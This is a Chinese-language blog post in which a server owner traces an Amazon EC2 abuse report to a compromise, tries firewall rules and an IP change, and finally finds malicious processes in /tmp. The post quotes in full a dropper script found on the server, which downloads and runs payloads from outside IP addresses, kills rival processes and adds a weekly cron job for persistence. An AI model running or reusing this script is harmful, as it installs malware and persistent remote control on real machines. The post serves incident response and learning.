服务器遭受攻击

  亚马逊上ec2发来邮件Your Amazon EC2 Abuse Report,说是流量超标,It's possible that your environment has been compromised by an external attacker让我们自己检查检查。

  开始检查:使用who命令查看的时候,只有我一个人在今天登陆的痕迹;接下来使用last命令,看到最近有几个人在登陆成功,有一个ip地址非常的奇怪,在ip地址后面加了S;用tcpdump分析数据的流向,发现自己的服务器总是向一个服务器发送包(tcp port 80),查看80端口数据流向看出来的。

  因为也没有经验,就将报的错误google了下,发现有人的log和我的类似,可能会是SYN攻击,简单的来说就是利用三次握手协议,耗尽服务器的宝贵的资源,http://www.study-area.org/tips/syn_flood.htm, 一点介绍吧

  log中显示

  2014-01-06 19:32:27.508614 IP (tos 0x0, ttl 64, id 46584, offset 0, flags [DF], proto TCP (6), length 60) 10.134.181.166.47682 >200.156.100.119.80: Flags [S], cksum 0xed6e (incorrect> 0xe3d1), seq 368868445, win 14600, options [mss 1460,sackOK,TS val 600296754 ecr 0,nop,wscale 7], length 0

  于是看了网上的建议:首先建立防火墙,不行再换ip,再不行就换instance,重启服务。

  首先第一步:建立防火墙

  只开启我们服务需要的相应的端口,比如80端口 ,8080端口,当然,在脚本中写入防SYN攻击

  iptables -A synflood -m limit –limit 10/s –limit-burst 1000 -j RETURN

  iptables -A synflood -p tcp -j REJECT –reject-with tcp-reset

  iptables -A INPUT -p tcp -m state –state NEW -j synflood

  刚开始是好的,亚马逊发来贺电^ ^,详细询问了情况,但是过了两天,亚马逊又发来贺电说服务器的流量有问题,之前的修改防火墙貌似没有奏效

  执行第二步:修改ip地址

  之前用过亚马逊的ec2,好害怕会停,停了之后就会数据会掉,赶紧备份个,其实在边上的AMI上相当于镜像,是最后被逼无奈的时候用的,可能数据库什么的都会掉写数据,毕竟没有做热备份

  在Elastic中选择ip地址,allocate到相应的instance中,如果有域名,可别忘了提前在域名服务器中修改对应的域名哈

  换了ip地址之后,用free命令看时,使用的内存降低了,降低了200多M,但是原因不再于此,现在回想起来可能是连接数少了,所以内存减小了【总之有疑问】

  亚马逊的邮件还是发个不停,这时候我觉得有问题了,或许问题不在外面,而是在我的服务器上。

  执行第三步:查看我自身的系统tcpdump的结果是系统的80端口数据流量有问题,使用netstat -ant|grep 80,其中有好几个都是由名字叫php的进程开启的,据我所知的服务不涉及php,于是用ps aux|grep php查看进程,发现了大量的名字均为php的进程,并且占用内存和cpu相当的高,用pkill 杀死之后,马上查看tcpdump数据,发现数据量马上变化,但是过了不到5分钟,流量又出现原来的问题,由此所知,可能不止一个这样的脚本,并且或许写到了cron或者拥有守护进程,脚本的路径在/tmp下

  使用top查看,又出现了类似与php的perl进程名字,这里肯定就有问题了

  使用more查看不了php,因为是二进制文件,加密过,在tmp下又发现了一个shell脚本:内容我贴上来:

  #!/bin/sh

  cd /tmp;cd /dev/shm

  wget -q http://221.132.37.26/shb -O ..a

  chmod +x ..a

  ./..a

  cd /dev/shm ; wget 221.132.37.26/ru ; bash ru ; rm -rf ru

  cd /dev/shm; wget 193.12.247.103/ru ; bash ru ; rm -rf ru

  killall -9 .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w php

  killall -9 .rnd

  killall -9 .a

  killall -9 dev

  killall -9 sh

  killall -9 bash

  killall -9 apache2

  killall -9 httpd

  killall -9 cla

  killall -9 ka

  killall -9 kav

  killall -9 m32

  killall -9 m64

  killall -9 perl

  killall -9 sh

  killall -9 sucrack

  kill -9 `pidof .rnd`

  kill -9 `pidof .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w`

  kill -9 `pidof dev`

  kill -9 `pidof perl`

  kill -9 `pidof m32`

  kill -9 `pidof m64`

  kill -9 `pidof ka`

  kill -9 `pidof kav`

  kill -9 `pidof cla`

  kill -9 `pidof sh`

  kill -9 `pidof sucrack`

  echo "@weekly wget -q http://221.132.37.26/sh -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh" >> /tmp/cron

  crontab /tmp/cron

  rm -rf /tmp/cron

  我在这个网址只能找到这个shell脚本,其他的有的不在,有的已经加密了,看来这哥们已经在系统上做升级了,

  执行第四步:将找到的脚本全都移除,杀死,ok

  回想:我这次主要是判断方向出错,判断的时候使用:netstat -n -p TCP,有很多SYN_RECV的,即处于半链接状态的就是SYN攻击,还有top,tcpdump非常非常有用(port 80),还有,防火墙必须设置成 不能被扫描到;数据一定一定备份~~~

 

发表评论

邮箱地址不会被公开。 必填项已用*标注